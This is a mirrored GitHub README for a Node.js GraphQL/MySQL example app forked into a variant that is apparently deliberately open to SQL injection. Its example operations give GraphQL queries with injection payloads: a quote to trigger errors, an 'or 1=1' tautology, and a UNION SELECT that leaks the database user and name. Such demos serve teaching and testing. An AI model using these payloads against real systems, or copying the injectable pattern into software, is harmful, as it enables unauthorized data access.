GithubHelp home page GithubHelp logo

justinlarson / nodejs-graphql-mysql-example-sqli Goto Github PK

View Code? Open in Web Editor NEW

This project forked from yuleven/nodejs-graphql-mysql-example

0.0 2.0 0.0 20 KB

An example Express based app implementing a GraphQL API using MySQL as its datastore

License: MIT License

JavaScript 100.00%

nodejs-graphql-mysql-example-sqli's Introduction

NodeJS graphQL MySQL example

This is a simple experimental example of how to match graphql-js and MySQL for the implementation of a GraphQL API.

  • This project requires a version of NodeJS with support for async-await

Getting Started

# clone the project
git clone https://github.com/justinlarson/nodejs-graphql-mysql-example-sqli.git
cd nodejs-graphql-mysql-example-sqli

# Install dependencies
npm install

# Run the server
PORT=8085 MYSQL_DB_USER=root MYSQL_DB_NAME=exapp MYSQL_DB_PASSWORD= MYSQL_DB_ADDRESS=localhost MYSQL_DB_POOL_SIZE=10 npm start

# Access GraphQLi
http://localhost:8085/graphql

Please remember to export the example SQL schema located in ./sql/exapp.sql

Example operations

See SQL Error

{
  bacon(id:"1'"){
    id,
    price,
    type
  }
}

Show all bacons

{
  bacons(type:"chunky'or 1=1#"){
    id,
    price,
    type
  }
}

Show current use anddatabase

{
  bacons(type:"13.0' union select current_user(),database(),3 and 1=1#"){
    id,
    price,
    type
  }
}

License

MIT

nodejs-graphql-mysql-example-sqli's People

Contributors

justinlarson avatar josteinlarsson avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.